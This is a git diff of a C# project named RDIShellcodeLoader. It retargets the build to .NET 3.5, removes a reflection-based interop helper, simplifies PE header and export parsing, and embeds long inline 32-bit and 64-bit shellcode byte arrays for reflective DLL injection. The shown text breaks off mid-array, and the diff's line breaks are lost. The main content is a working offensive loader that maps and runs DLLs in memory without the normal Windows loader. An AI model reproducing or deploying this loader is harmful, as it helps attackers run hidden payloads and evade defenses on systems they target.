diff --git a/DotNet/App.config b/DotNet/App.config index 88fa402..343984d 100644 --- a/DotNet/App.config +++ b/DotNet/App.config @@ -1,6 +1,6 @@ - + - - - \ No newline at end of file + + + diff --git a/DotNet/DotNet.csproj b/DotNet/DotNet.csproj index 31d289e..34a4745 100644 --- a/DotNet/DotNet.csproj +++ b/DotNet/DotNet.csproj @@ -9,7 +9,7 @@ Properties RDIShellcodeLoader RDIShellcodeLoader - v4.5.2 + v3.5 512 true publish\ @@ -27,6 +27,7 @@ false false true + true @@ -37,6 +38,7 @@ x64 prompt MinimumRecommendedRules.ruleset + false bin\x64\Release\ @@ -46,6 +48,7 @@ x64 prompt MinimumRecommendedRules.ruleset + false true @@ -56,6 +59,7 @@ x86 prompt MinimumRecommendedRules.ruleset + false bin\x86\Release\ @@ -65,15 +69,14 @@ x86 prompt MinimumRecommendedRules.ruleset + false - - diff --git a/DotNet/Program.cs b/DotNet/Program.cs index 3f1171d..6440ff9 100644 --- a/DotNet/Program.cs +++ b/DotNet/Program.cs @@ -346,74 +346,6 @@ namespace RDIShellcodeLoader public IMAGE_FILE_HEADER FileHeader; public IMAGE_OPTIONAL_HEADER OptionalHeader; } - - public static unsafe class InteropTools - { - private static readonly Type SafeBufferType = typeof(SafeBuffer); - public delegate void PtrToStructureNativeDelegate(byte* ptr, TypedReference structure, uint sizeofT); - public delegate void StructureToPtrNativeDelegate(TypedReference structure, byte* ptr, uint sizeofT); - const BindingFlags flags = BindingFlags.NonPublic | BindingFlags.Static; - private static readonly MethodInfo PtrToStructureNativeMethod = SafeBufferType.GetMethod("PtrToStructureNative", flags); - private static readonly MethodInfo StructureToPtrNativeMethod = SafeBufferType.GetMethod("StructureToPtrNative", flags); - public static readonly PtrToStructureNativeDelegate PtrToStructureNative = (PtrToStructureNativeDelegate)Delegate.CreateDelegate(typeof(PtrToStructureNativeDelegate), PtrToStructureNativeMethod); - public static readonly StructureToPtrNativeDelegate StructureToPtrNative = (StructureToPtrNativeDelegate)Delegate.CreateDelegate(typeof(StructureToPtrNativeDelegate), StructureToPtrNativeMethod); - - private static readonly Func SizeOfHelper_f = (Func)Delegate.CreateDelegate(typeof(Func), typeof(Marshal).GetMethod("SizeOfHelper", flags)); - - public static void StructureToPtrDirect(TypedReference structure, IntPtr ptr, int size) - { - StructureToPtrNative(structure, (byte*)ptr, unchecked((uint)size)); - } - - public static void StructureToPtrDirect(TypedReference structure, IntPtr ptr) - { - StructureToPtrDirect(structure, ptr, SizeOf(__reftype(structure))); - } - - public static void PtrToStructureDirect(IntPtr ptr, TypedReference structure, int size) - { - PtrToStructureNative((byte*)ptr, structure, unchecked((uint)size)); - } - - public static void PtrToStructureDirect(IntPtr ptr, TypedReference structure) - { - PtrToStructureDirect(ptr, structure, SizeOf(__reftype(structure))); - } - - public static void StructureToPtr(ref T structure, IntPtr ptr) - { - StructureToPtrDirect(__makeref(structure), ptr); - } - - public static void PtrToStructure(IntPtr ptr, out T structure) - { - structure = default(T); - PtrToStructureDirect(ptr, __makeref(structure)); - } - - public static T PtrToStructure(IntPtr ptr) - { - T obj; - PtrToStructure(ptr, out obj); - return obj; - } - - public static int SizeOf(T structure) - { - return SizeOf(); - } - - public static int SizeOf() - { - return SizeOf(typeof(T)); - } - - public static int SizeOf(Type t) - { - return SizeOfHelper_f(t, true); - } - } - public static IntPtr Rva2Offset(uint dwRva, IntPtr PEPointer) { bool is64Bit = false; @@ -423,7 +355,7 @@ namespace RDIShellcodeLoader IMAGE_SECTION_HEADER SectionHeader; int sizeOfSectionHeader = Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)); - IMAGE_DOS_HEADER dosHeader = InteropTools.PtrToStructure(PEPointer); + IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(PEPointer, typeof(IMAGE_DOS_HEADER)); IntPtr NtHeadersPtr = (IntPtr)((UInt64)PEPointer + (UInt64)dosHeader.e_lfanew); @@ -514,8 +446,7 @@ namespace RDIShellcodeLoader for (int i = 0; i < ExportTable.NumberOfNames; i++) { - IntPtr NameOffsetPtr = (IntPtr)((ulong)PEPointer + (ulong)ExportTable.AddressOfNames); - NameOffsetPtr += (i * Marshal.SizeOf(typeof(UInt32))); + IntPtr NameOffsetPtr = (IntPtr)((ulong)PEPointer + (ulong)ExportTable.AddressOfNames + (ulong)(i * Marshal.SizeOf(typeof(UInt32)))); IntPtr NamePtr = (IntPtr)((ulong)PEPointer + (uint)Marshal.PtrToStructure(NameOffsetPtr, typeof(uint))); string Name = Marshal.PtrToStringAnsi(NamePtr); @@ -570,8 +501,8 @@ namespace RDIShellcodeLoader byte[] rdiShellcode32 = System.IO.File.ReadAllBytes("../../../../bin/ShellcodeRDI_x86.bin"); #else //MARKER:S - var rdiShellcode32 = new byte[] { 0x83,0xEC,0x6C,0x53,0x55,0x56,0x57,0xB9,0x4C,0x77,0x26,0x07,0xE8,0x6E,0x06,0x00,0x00,0x8B,0xF8,0xB9,0x49,0xF7,0x02,0x78,0x89,0x7C,0x24,0x28,0xE8,0x5E,0x06,0x00,0x00,0x8B,0xF0,0xB9,0x58,0xA4,0x53,0xE5,0x89,0x74,0x24,0x2C,0xE8,0x4E,0x06,0x00,0x00,0x8B,0xD8,0xB9,0x10,0xE1,0x8A,0xC3,0x89,0x5C,0x24,0x20,0xE8,0x3E,0x06,0x00,0x00,0xB9,0xAF,0xB1,0x5C,0x94,0x89,0x44,0x24,0x30,0xE8,0x30,0x06,0x00,0x00,0xB9,0x33,0x00,0x9E,0x95,0x89,0x44,0x24,0x34,0xE8,0x22,0x06,0x00,0x00,0xB9,0x44,0xF0,0x35,0xE0,0x8B,0xE8,0xE8,0x16,0x06,0x00,0x00,0x89,0x44,0x24,0x40,0x85,0xFF,0x0F,0x84,0x00,0x06,0x00,0x00,0x85,0xF6,0x0F,0x84,0xF8,0x05,0x00,0x00,0x85,0xDB,0x0F,0x84,0xF0,0x05,0x00,0x00,0x83,0x7C,0x24,0x30,0x00,0x0F,0x84,0xE5,0x05,0x00,0x00,0x83,0x7C,0x24,0x34,0x00,0x0F,0x84,0xDA,0x05,0x00,0x00,0x85,0xED,0x0F,0x84,0xD2,0x05,0x00,0x00,0x85,0xC0,0x0F,0x84,0xCA,0x05,0x00,0x00,0x8B,0x84,0x24,0x80,0x00,0x00,0x00,0x8B,0x70,0x3C,0x03,0xF0,0x81,0x3E,0x50,0x45,0x00,0x00,0x0F,0x85,0xB2,0x05,0x00,0x00,0xB8,0x4C,0x01,0x00,0x00,0x66,0x39,0x46,0x04,0x0F,0x85,0xA3,0x05,0x00,0x00,0xF6,0x46,0x38,0x01,0x0F,0x85,0x99,0x05,0x00,0x00,0x0F,0xB7,0x56,0x06,0x33,0xFF,0x0F,0xB7,0x46,0x14,0x85,0xD2,0x74,0x22,0x8D,0x4E,0x24,0x03,0xC8,0x83,0x79,0x04,0x00,0x8B,0x01,0x75,0x05,0x03,0x46,0x38,0xEB,0x03,0x03,0x41,0x04,0x3B,0xC7,0x0F,0x47,0xF8,0x83,0xC1,0x28,0x83,0xEA,0x01,0x75,0xE3,0x8D,0x44,0x24,0x58,0x50,0xFF,0xD5,0x8B,0x4C,0x24,0x5C,0x8D,0x51,0xFF,0x8D,0x69,0xFF,0xF7,0xD2,0x03,0x6E,0x50,0x8D,0x41,0xFF,0x03,0xC7,0x23,0xEA,0x23,0xC2,0x3B,0xE8,0x0F,0x85,0x42,0x05,0x00,0x00,0x6A,0x04,0xBF,0x00,0x30,0x00,0x00,0x57,0x55,0xFF,0x76,0x34,0xFF,0xD3,0x8B,0xD8,0x89,0x5C,0x24,0x24,0x85,0xDB,0x75,0x0F,0x6A,0x04,0x57,0x55,0x50,0xFF,0x54,0x24,0x30,0x8B,0xD8,0x89,0x44,0x24,0x24,0xF6,0x84,0x24,0x90,0x00,0x00,0x00,0x01,0x74,0x28,0x8B,0x94,0x24,0x80,0x00,0x00,0x00,0x8B,0x42,0x3C,0x89,0x43,0x3C,0x8B,0x4A,0x3C,0x3B,0x4E,0x54,0x73,0x31,0x8D,0x3C,0x0B,0x2B,0xD3,0x8A,0x04,0x3A,0x41,0x88,0x07,0x47,0x3B,0x4E,0x54,0x72,0xF4,0xEB,0x1E,0x33,0xFF,0x39,0x7E,0x54,0x76,0x17,0x8B,0x94,0x24,0x80,0x00,0x00,0x00,0x8B,0xCB,0x2B,0xD3,0x8A,0x04,0x11,0x47,0x88,0x01,0x41,0x3B,0x7E,0x54,0x72,0xF4,0x8B,0x6B,0x3C,0x33,0xC9,0x03,0xEB,0x89,0x4C,0x24,0x1C,0x33,0xD2,0x89,0x6C,0x24,0x14,0x0F,0xB7,0x45,0x14,0x66,0x3B,0x55,0x06,0x73,0x40,0x8D,0x75,0x28,0x03,0xF0,0x33,0xFF,0x39,0x3E,0x76,0x25,0x8B,0xAC,0x24,0x80,0x00,0x00,0x00,0x8B,0x46,0x04,0x8D,0x14,0x3B,0x8B,0x4E,0xFC,0x03,0xC7,0x47,0x8A,0x04,0x28,0x88,0x04,0x0A,0x3B,0x3E,0x72,0xEA,0x8B,0x6C,0x24,0x14,0x8B,0x4C,0x24,0x1C,0x0F,0xB7,0x45,0x06,0x41,0x83,0xC6,0x28,0x89,0x4C,0x24,0x1C,0x3B,0xC8,0x72,0xC5,0x6A,0x01,0x8B,0xFB,0x5E,0x89,0x74,0x24,0x20,0x2B,0x7D,0x34,0x74,0x7B,0x83,0xBD,0xA4,0x00,0x00,0x00,0x00,0x74,0x72,0x8B,0x95,0xA0,0x00,0x00,0x00,0x03,0xD3,0x83,0x3A,0x00,0x74,0x65,0x6A,0x02,0x5D,0x8D,0x72,0x08,0xEB,0x46,0x0F,0xB7,0x0E,0x66,0x8B,0xC1,0x66,0xC1,0xE8,0x0C,0x66,0x83,0xF8,0x0A,0x74,0x06,0x66,0x83,0xF8,0x03,0x75,0x0D,0x81,0xE1,0xFF,0x0F,0x00,0x00,0x03,0x0A,0x01,0x3C,0x19,0xEB,0x21,0x66,0x3B,0x44,0x24,0x20,0x75,0x07,0x8B,0xC7,0xC1,0xE8,0x10,0xEB,0x08,0x66,0x3B,0xC5,0x75,0x0E,0x0F,0xB7,0xC7,0x81,0xE1,0xFF,0x0F,0x00,0x00,0x03,0x0A,0x01,0x04,0x19,0x03,0xF5,0x8B,0x42,0x04,0x03,0xC2,0x3B,0xF0,0x75,0xB1,0x83,0x3E,0x00,0x8B,0xD6,0x75,0xA5,0x8B,0x6C,0x24,0x14,0x33,0xF6,0x46,0x83,0xBD,0x84,0x00,0x00,0x00,0x00,0x0F,0x84,0x97,0x01,0x00,0x00,0x8B,0x85,0x80,0x00,0x00,0x00,0x8D,0x0C,0x18,0x83,0xC0,0x0C,0x03,0xC3,0x89,0x4C,0x24,0x1C,0x33,0xC9,0x89,0x4C,0x24,0x18,0x39,0x08,0x74,0x0D,0x8D,0x40,0x14,0x41,0x83,0x38,0x00,0x75,0xF7,0x89,0x4C,0x24,0x18,0x8B,0x94,0x24,0x90,0x00,0x00,0x00,0x8B,0xC2,0x83,0xE0,0x04,0x89,0x44,0x24,0x3C,0x0F,0x84,0xAE,0x00,0x00,0x00,0x3B,0xCE,0x0F,0x86,0xA6,0x00,0x00,0x00,0xC1,0xEA,0x10,0x8D,0x41,0xFF,0x89,0x94,0x24,0x90,0x00,0x00,0x00,0x33,0xD2,0x89,0x44,0x24,0x38,0x89,0x54,0x24,0x20,0x85,0xC0,0x0F,0x84,0x92,0x00,0x00,0x00,0x8B,0x5C,0x24,0x1C,0x8B,0xAC,0x24,0x80,0x00,0x00,0x00,0x89,0x5C,0x24,0x1C,0x2B,0xCA,0x69,0xED,0xFD,0x43,0x03,0x00,0x33,0xD2,0x8D,0x7C,0x24,0x44,0xB8,0xFF,0x7F,0x00,0x00,0xF7,0xF1,0x81,0xC5,0xC3,0x9E,0x26,0x00,0x33,0xD2,0x6A,0x05,0x8D,0x48,0x01,0x8B,0xC5,0xC1,0xE8,0x10,0x25,0xFF,0x7F,0x00,0x00,0xF7,0xF1,0x8B,0x54,0x24,0x24,0x03,0xC2,0x6B,0xC0,0x14,0x59,0x6A,0x05,0x03,0xC3,0x42,0x8B,0xF0,0x89,0x54,0x24,0x24,0xF3,0xA5,0x8B,0x74,0x24,0x20,0x8B,0xF8,0x8B,0x44,0x24,0x20,0x59,0xF3,0xA5,0x6A,0x05,0x8B,0xF8,0x8D,0x74,0x24,0x48,0x59,0x83,0xC0,0x14,0xF3,0xA5,0x8B,0x4C,0x24,0x18,0x89,0x44,0x24,0x1C,0x3B,0x54,0x24,0x38,0x72,0x92,0x8B,0x5C,0x24,0x24,0x8B,0x6C,0x24,0x14,0xEB,0x0B,0x8B,0x44,0x24,0x40,0x89,0x84,0x24,0x90,0x00,0x00,0x00,0x8B,0xB5,0x80,0x00,0x00,0x00,0x03,0xF3,0x89,0x74,0x24,0x20,0x8B,0x46,0x0C,0x85,0xC0,0x0F,0x84,0x88,0x00,0x00,0x00,0x8B,0x6C,0x24,0x18,0x03,0xC3,0x50,0xFF,0x54,0x24,0x2C,0x8B,0x7E,0x10,0x89,0x44,0x24,0x38,0x03,0xFB,0x8B,0x06,0x03,0xC3,0x89,0x44,0x24,0x24,0x8B,0x08,0x85,0xC9,0x74,0x36,0x8B,0x6C,0x24,0x38,0x8B,0x74,0x24,0x2C,0x79,0x05,0x0F,0xB7,0xC1,0xEB,0x05,0x8D,0x41,0x02,0x03,0xC3,0x50,0x55,0xFF,0xD6,0x89,0x07,0x83,0xC7,0x04,0x8B,0x44,0x24,0x24,0x83,0xC0,0x04,0x89,0x44,0x24,0x24,0x8B,0x08,0x85,0xC9,0x75,0xDA,0x8B,0x74,0x24,0x20,0x8B,0x6C,0x24,0x18,0x83,0x7C,0x24,0x3C,0x00,0x74,0x17,0x33,0xC0,0x40,0x3B,0xE8,0x76,0x10,0x69,0x84,0x24,0x90,0x00,0x00,0x00,0xE8,0x03,0x00,0x00,0x50,0xFF,0x54,0x24,0x44,0x8B,0x46,0x20,0x83,0xC6,0x14,0x89,0x74,0x24,0x20,0x85,0xC0,0x75,0x80,0x8B,0x6C,0x24,0x14,0x83,0xBD,0xE4,0x00,0x00,0x00,0x00,0x74,0x73,0x8B,0xBD,0xE0,0x00,0x00,0x00,0x83,0xC7,0x04,0x03,0xFB,0x89,0x7C,0x24,0x20,0x83,0x3F,0x00,0x74,0x5F,0x8B,0x07,0x03,0xC3,0x50,0xFF,0x54,0x24,0x2C,0x8B,0x77,0x08,0x8B,0xE8,0x8B,0x47,0x0C,0x03,0xF3,0x03,0xC3,0x89,0x44,0x24,0x24,0x83,0x3E,0x00,0x74,0x31,0x8B,0x7C,0x24,0x2C,0x8B,0x00,0x85,0xC0,0x79,0x05,0x0F,0xB7,0xC0,0xEB,0x05,0x83,0xC0,0x02,0x03,0xC3,0x50,0x55,0xFF,0xD7,0x89,0x06,0x83,0xC6,0x04,0x8B,0x44,0x24,0x24,0x83,0xC0,0x04,0x89,0x44,0x24,0x24,0x83,0x3E,0x00,0x75,0xD7,0x8B,0x7C,0x24,0x20,0x83,0xC7,0x20,0x89,0x7C,0x24,0x20,0x83,0x3F,0x00,0x75,0xA5,0x8B,0x6C,0x24,0x14,0x0F,0xB7,0x45,0x14,0x33,0xC9,0x33,0xFF,0x66,0x3B,0x4D,0x06,0x0F,0x83,0xB0,0x00,0x00,0x00,0x8D,0x75,0x3C,0x03,0xF0,0x83,0x7E,0xEC,0x00,0x0F,0x84,0x91,0x00,0x00,0x00,0x8B,0x0E,0x33,0xD2,0x42,0x8B,0xC1,0xC1,0xE8,0x1D,0x23,0xC2,0x8B,0xD1,0xC1,0xEA,0x1E,0x83,0xE2,0x01,0xC1,0xE9,0x1F,0x85,0xC0,0x75,0x18,0x85,0xD2,0x75,0x0D,0x6A,0x08,0x58,0x6A,0x01,0x85,0xC9,0x59,0x0F,0x44,0xC1,0xEB,0x3D,0x6A,0x04,0x58,0x6A,0x02,0xEB,0xF1,0x85,0xD2,0x75,0x1E,0x85,0xC9,0x75,0x05,0x6A,0x10,0x58,0xEB,0x29,0x85,0xD2,0x75,0x11,0x85,0xC9,0x74,0x07,0xB8,0x80,0x00,0x00,0x00,0xEB,0x1A,0x8B,0x44,0x24,0x10,0xEB,0x18,0x85,0xC9,0x75,0x04,0x6A,0x20,0xEB,0xE0,0x8B,0x44,0x24,0x10,0x85,0xC9,0x6A,0x40,0x5A,0x0F,0x45,0xC2,0x89,0x44,0x24,0x10,0xF7,0x06,0x00,0x00,0x00,0x04,0x74,0x09,0x0D,0x00,0x02,0x00,0x00,0x89,0x44,0x24,0x10,0x8D,0x4C,0x24,0x10,0x51,0x50,0x8B,0x46,0xE8,0xFF,0x76,0xEC,0x03,0xC3,0x50,0xFF,0x54,0x24,0x40,0x0F,0xB7,0x45,0x06,0x47,0x83,0xC6,0x28,0x3B,0xF8,0x0F,0x82,0x55,0xFF,0xFF,0xFF,0x6A,0x00,0x6A,0x00,0x6A,0xFF,0xFF,0x54,0x24,0x40,0x83,0xBD,0xC4,0x00,0x00,0x00,0x00,0x74,0x26,0x8B,0x85,0xC0,0x00,0x00,0x00,0x8B,0x74,0x18,0x0C,0x8B,0x06,0x85,0xC0,0x74,0x16,0x33,0xED,0x45,0x6A,0x00,0x55,0x53,0xFF,0xD0,0x8D,0x76,0x04,0x8B,0x06,0x85,0xC0,0x75,0xF1,0x8B,0x6C,0x24,0x14,0x33,0xC0,0x40,0x50,0x50,0x8B,0x45,0x28,0x53,0x03,0xC3,0xFF,0xD0,0x83,0xBC,0x24,0x84,0x00,0x00,0x00,0x00,0x0F,0x84,0xAD,0x00,0x00,0x00,0x83,0x7D,0x7C,0x00,0x0F,0x84,0xA3,0x00,0x00,0x00,0x8B,0x55,0x78,0x03,0xD3,0x8B,0x6A,0x18,0x85,0xED,0x0F,0x84,0x93,0x00,0x00,0x00,0x83,0x7A,0x14,0x00,0x0F,0x84,0x89,0x00,0x00,0x00,0x8B,0x7A,0x20,0x8B,0x4A,0x24,0x03,0xFB,0x83,0x64,0x24,0x34,0x00,0x03,0xCB,0x85,0xED,0x74,0x76,0x8B,0x37,0xC7,0x44,0x24,0x1C,0x00,0x00,0x00,0x00,0x03,0xF3,0x74,0x68,0x8A,0x06,0x84,0xC0,0x74,0x1C,0x8B,0x6C,0x24,0x1C,0x0F,0xBE,0xC0,0x03,0xC5,0xC1,0xC8,0x0D,0x46,0x8B,0xE8,0x8A,0x06,0x84,0xC0,0x75,0xEF,0x89,0x6C,0x24,0x1C,0x8B,0x6A,0x18,0x8B,0x84,0x24,0x84,0x00,0x00,0x00,0x3B,0x44,0x24,0x1C,0x75,0x04,0x85,0xC9,0x75,0x15,0x8B,0x44,0x24,0x34,0x83,0xC7,0x04,0x40,0x83,0xC1,0x02,0x89,0x44,0x24,0x34,0x3B,0xC5,0x72,0xAC,0xEB,0x20,0x0F,0xB7,0x09,0x8B,0x42,0x1C,0xFF,0xB4,0x24,0x8C,0x00,0x00,0x00,0xFF,0xB4,0x24,0x8C,0x00,0x00,0x00,0x8D,0x04,0x88,0x8B,0x04,0x18,0x03,0xC3,0xFF,0xD0,0x59,0x59,0x8B,0xC3,0xEB,0x02,0x33,0xC0,0x5F,0x5E,0x5D,0x5B,0x83,0xC4,0x6C,0xC3,0x83,0xEC,0x10,0x64,0xA1,0x30,0x00,0x00,0x00,0x53,0x55,0x56,0x8B,0x40,0x0C,0x57,0x89,0x4C,0x24,0x18,0x8B,0x70,0x0C,0xE9,0x8A,0x00,0x00,0x00,0x8B,0x46,0x30,0x33,0xC9,0x8B,0x5E,0x2C,0x8B,0x36,0x89,0x44,0x24,0x14,0x8B,0x42,0x3C,0x8B,0x6C,0x10,0x78,0x89,0x6C,0x24,0x10,0x85,0xED,0x74,0x6D,0xC1,0xEB,0x10,0x33,0xFF,0x85,0xDB,0x74,0x1F,0x8B,0x6C,0x24,0x14,0x8A,0x04,0x2F,0xC1,0xC9,0x0D,0x3C,0x61,0x0F,0xBE,0xC0,0x7C,0x03,0x83,0xC1,0xE0,0x03,0xC8,0x47,0x3B,0xFB,0x72,0xE9,0x8B,0x6C,0x24,0x10,0x8B,0x44,0x2A,0x20,0x33,0xDB,0x8B,0x7C,0x2A,0x18,0x03,0xC2,0x89,0x7C,0x24,0x14,0x85,0xFF,0x74,0x31,0x8B,0x28,0x33,0xFF,0x03,0xEA,0x83,0xC0,0x04,0x89,0x44,0x24,0x1C,0x0F,0xBE,0x45,0x00,0xC1,0xCF,0x0D,0x03,0xF8,0x45,0x80,0x7D,0xFF,0x00,0x75,0xF0,0x8D,0x04,0x0F,0x3B,0x44,0x24,0x18,0x74,0x20,0x8B,0x44,0x24,0x1C,0x43,0x3B,0x5C,0x24,0x14,0x72,0xCF,0x8B,0x56,0x18,0x85,0xD2,0x0F,0x85,0x6B,0xFF,0xFF,0xFF,0x33,0xC0,0x5F,0x5E,0x5D,0x5B,0x83,0xC4,0x10,0xC3,0x8B,0x74,0x24,0x10,0x8B,0x44,0x16,0x24,0x8D,0x04,0x58,0x0F,0xB7,0x0C,0x10,0x8B,0x44,0x16,0x1C,0x8D,0x04,0x88,0x8B,0x04,0x10,0x03,0xC2,0xEB,0xDB }; - var rdiShellcode64 = new byte[] { 0x48,0x8B,0xC4,0x48,0x89,0x58,0x08,0x44,0x89,0x48,0x20,0x4C,0x89,0x40,0x18,0x89,0x50,0x10,0x55,0x56,0x57,0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,0x48,0x8D,0x68,0xA9,0x48,0x81,0xEC,0x90,0x00,0x00,0x00,0x48,0x8B,0xF1,0xB9,0x4C,0x77,0x26,0x07,0xE8,0xA3,0x06,0x00,0x00,0xB9,0x49,0xF7,0x02,0x78,0x48,0x89,0x45,0xB7,0x4C,0x8B,0xE0,0xE8,0x92,0x06,0x00,0x00,0xB9,0x58,0xA4,0x53,0xE5,0x48,0x89,0x45,0xBF,0x4C,0x8B,0xE8,0xE8,0x81,0x06,0x00,0x00,0xB9,0x10,0xE1,0x8A,0xC3,0x4C,0x8B,0xF8,0xE8,0x74,0x06,0x00,0x00,0xB9,0xAF,0xB1,0x5C,0x94,0x48,0x89,0x45,0xD7,0x48,0x8B,0xF8,0xE8,0x63,0x06,0x00,0x00,0xB9,0x33,0x00,0x9E,0x95,0x48,0x89,0x45,0xDF,0x48,0x8B,0xD8,0xE8,0x52,0x06,0x00,0x00,0xB9,0x44,0xF0,0x35,0xE0,0x4C,0x8B,0xF0,0xE8,0x45,0x06,0x00,0x00,0x45,0x33,0xD2,0x48,0x89,0x45,0xC7,0x4D,0x85,0xE4,0x0F,0x84,0x16,0x06,0x00,0x00,0x4D,0x85,0xED,0x0F,0x84,0x0D,0x06,0x00,0x00,0x4D,0x85,0xFF,0x0F,0x84,0x04,0x06,0x00,0x00,0x48,0x85,0xFF,0x0F,0x84,0xFB,0x05,0x00,0x00,0x48,0x85,0xDB,0x0F,0x84,0xF2,0x05,0x00,0x00,0x4D,0x85,0xF6,0x0F,0x84,0xE9,0x05,0x00,0x00,0x48,0x85,0xC0,0x0F,0x84,0xE0,0x05,0x00,0x00,0x48,0x63,0x7E,0x3C,0x48,0x03,0xFE,0x81,0x3F,0x50,0x45,0x00,0x00,0x0F,0x85,0xCD,0x05,0x00,0x00,0xB8,0x64,0x86,0x00,0x00,0x66,0x39,0x47,0x04,0x0F,0x85,0xBE,0x05,0x00,0x00,0x44,0x8B,0x47,0x38,0x45,0x8D,0x5A,0x01,0x45,0x84,0xC3,0x0F,0x85,0xAD,0x05,0x00,0x00,0x0F,0xB7,0x47,0x06,0x41,0x8B,0xDA,0x0F,0xB7,0x4F,0x14,0x85,0xC0,0x74,0x28,0x48,0x83,0xC1,0x24,0x44,0x8B,0xC8,0x48,0x03,0xCF,0x8B,0x51,0x04,0x85,0xD2,0x75,0x07,0x8B,0x11,0x41,0x03,0xD0,0xEB,0x02,0x03,0x11,0x3B,0xD3,0x0F,0x47,0xDA,0x48,0x83,0xC1,0x28,0x4D,0x2B,0xCB,0x75,0xE2,0x48,0x8D,0x4D,0xE7,0x41,0xFF,0xD6,0x8B,0x55,0xEB,0x44,0x8D,0x72,0xFF,0x44,0x03,0x77,0x50,0x8D,0x42,0xFF,0xF7,0xD0,0x48,0x8D,0x4A,0xFF,0x44,0x23,0xF0,0x8B,0xC3,0x48,0x03,0xC8,0x48,0x8D,0x42,0xFF,0x48,0xF7,0xD0,0x48,0x23,0xC8,0x4C,0x3B,0xF1,0x0F,0x85,0x40,0x05,0x00,0x00,0x48,0x8B,0x4F,0x30,0x41,0xB9,0x04,0x00,0x00,0x00,0x41,0xB8,0x00,0x30,0x00,0x00,0x41,0x8B,0xD6,0x41,0xFF,0xD7,0x48,0x8B,0xD8,0x48,0x85,0xC0,0x75,0x15,0x44,0x8D,0x48,0x04,0x41,0xB8,0x00,0x30,0x00,0x00,0x41,0x8B,0xD6,0x33,0xC9,0x41,0xFF,0xD7,0x48,0x8B,0xD8,0x44,0x8B,0x5D,0x7F,0x41,0xBE,0x01,0x00,0x00,0x00,0x45,0x84,0xDE,0x0F,0x84,0xB1,0x00,0x00,0x00,0x8B,0x46,0x3C,0x89,0x43,0x3C,0x8B,0x56,0x3C,0xEB,0x0B,0x8B,0xCA,0x41,0x03,0xD6,0x8A,0x04,0x31,0x88,0x04,0x19,0x3B,0x57,0x54,0x72,0xF0,0x45,0x33,0xFF,0x48,0x63,0x7B,0x3C,0x45,0x8B,0xD7,0x48,0x03,0xFB,0x48,0x89,0x7D,0xCF,0x0F,0xB7,0x47,0x14,0x66,0x44,0x3B,0x7F,0x06,0x73,0x3E,0x4C,0x8D,0x47,0x28,0x4C,0x03,0xC0,0x45,0x8B,0xCF,0x45,0x39,0x38,0x76,0x1F,0x41,0x8B,0x50,0x04,0x41,0x8B,0x48,0xFC,0x41,0x8B,0xC1,0x45,0x03,0xCE,0x48,0x03,0xC8,0x48,0x03,0xD0,0x8A,0x04,0x32,0x88,0x04,0x19,0x45,0x3B,0x08,0x72,0xE1,0x0F,0xB7,0x47,0x06,0x45,0x03,0xD6,0x49,0x83,0xC0,0x28,0x44,0x3B,0xD0,0x72,0xC9,0x4C,0x8B,0xD3,0x4C,0x2B,0x57,0x30,0x0F,0x84,0xDE,0x00,0x00,0x00,0x44,0x39,0xBF,0xB4,0x00,0x00,0x00,0x0F,0x84,0xD1,0x00,0x00,0x00,0x44,0x8B,0x87,0xB0,0x00,0x00,0x00,0x4C,0x03,0xC3,0x45,0x39,0x38,0x0F,0x84,0xBE,0x00,0x00,0x00,0x41,0xBC,0x02,0x00,0x00,0x00,0x4D,0x8D,0x48,0x08,0xE9,0x93,0x00,0x00,0x00,0x45,0x33,0xFF,0x41,0x8B,0xD7,0x44,0x39,0x7F,0x54,0x0F,0x86,0x5D,0xFF,0xFF,0xFF,0x8B,0xCA,0x41,0x03,0xD6,0x8A,0x04,0x31,0x88,0x04,0x19,0x3B,0x57,0x54,0x72,0xF0,0xE9,0x48,0xFF,0xFF,0xFF,0x41,0x0F,0xB7,0x01,0x0F,0xB7,0xC8,0x66,0xC1,0xE9,0x0C,0x66,0x83,0xF9,0x0A,0x75,0x11,0x41,0x8B,0x08,0x25,0xFF,0x0F,0x00,0x00,0x48,0x03,0xC3,0x4C,0x01,0x14,0x01,0xEB,0x49,0x66,0x83,0xF9,0x03,0x75,0x0E,0x25,0xFF,0x0F,0x00,0x00,0x48,0x8D,0x0C,0x03,0x41,0x8B,0xC2,0xEB,0x2E,0x66,0x41,0x3B,0xCE,0x75,0x15,0x25,0xFF,0x0F,0x00,0x00,0x48,0x8D,0x0C,0x03,0x49,0x8B,0xC2,0x48,0xC1,0xE8,0x10,0x0F,0xB7,0xC0,0xEB,0x13,0x66,0x41,0x3B,0xCC,0x75,0x14,0x25,0xFF,0x0F,0x00,0x00,0x48,0x8D,0x0C,0x03,0x41,0x0F,0xB7,0xC2,0x41,0x8B,0x10,0x48,0x01,0x04,0x0A,0x4D,0x03,0xCC,0x41,0x8B,0x40,0x04,0x49,0x03,0xC0,0x4C,0x3B,0xC8,0x75,0x86,0x4D,0x8B,0xC1,0x45,0x39,0x39,0x0F,0x85,0x4C,0xFF,0xFF,0xFF,0x4C,0x8B,0x65,0xB7,0x44,0x39,0xBF,0x94,0x00,0x00,0x00,0x0F,0x84,0x45,0x01,0x00,0x00,0x44,0x8B,0x87,0x90,0x00,0x00,0x00,0x45,0x8B,0xEF,0x4C,0x03,0xC3,0x49,0x8D,0x40,0x0C,0xEB,0x07,0x45,0x03,0xEE,0x48,0x8D,0x40,0x14,0x44,0x39,0x38,0x75,0xF4,0x41,0x8B,0xC3,0x83,0xE0,0x04,0x89,0x45,0xB3,0x0F,0x84,0x82,0x00,0x00,0x00,0x45,0x3B,0xEE,0x76,0x7D,0x41,0xC1,0xEB,0x10,0x45,0x8D,0x4D,0xFF,0x44,0x89,0x5D,0x7F,0x45,0x8B,0xDF,0x45,0x85,0xC9,0x74,0x6F,0x4D,0x8B,0xD0,0x41,0x0F,0x10,0x02,0x33,0xD2,0x41,0x8B,0xCD,0x41,0x2B,0xCB,0x69,0xF6,0xFD,0x43,0x03,0x00,0xB8,0xFF,0x7F,0x00,0x00,0xF7,0xF1,0x33,0xD2,0x81,0xC6,0xC3,0x9E,0x26,0x00,0x41,0x8D,0x0C,0x06,0x8B,0xC6,0xC1,0xE8,0x10,0x25,0xFF,0x7F,0x00,0x00,0xF7,0xF1,0x41,0x03,0xC3,0x45,0x03,0xDE,0x48,0x8D,0x0C,0x80,0x41,0x8B,0x54,0x88,0x10,0x41,0x0F,0x10,0x0C,0x88,0x41,0x0F,0x11,0x04,0x88,0x41,0x8B,0x42,0x10,0x